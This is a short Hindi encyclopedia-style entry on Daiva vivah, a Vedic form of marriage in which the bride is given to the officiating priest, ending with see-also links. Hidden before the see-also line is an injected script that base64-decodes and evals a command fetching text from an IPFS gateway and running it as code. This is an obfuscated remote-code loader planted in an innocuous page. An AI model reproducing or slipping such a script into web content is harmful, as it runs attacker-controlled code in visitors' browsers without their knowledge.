दैव विवाह

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विवाह की वेदी में बैठकर ऋत्विक को जो कन्यादान किया जाता है, उसको दैव विवाह कहते हैं।

  • इस विवाह में वर पक्ष की सहमति के पश्चात् वैदिक परम्परा से संस्कार आदि करके तथा अन्य अलंकरण के साथ कन्या को विदा किया जाता है।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: विवाह, सप्तपदी एवं हिंदू विवाह में सात फेरे और सात वचन


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टीका टिप्पणी और संदर्भ

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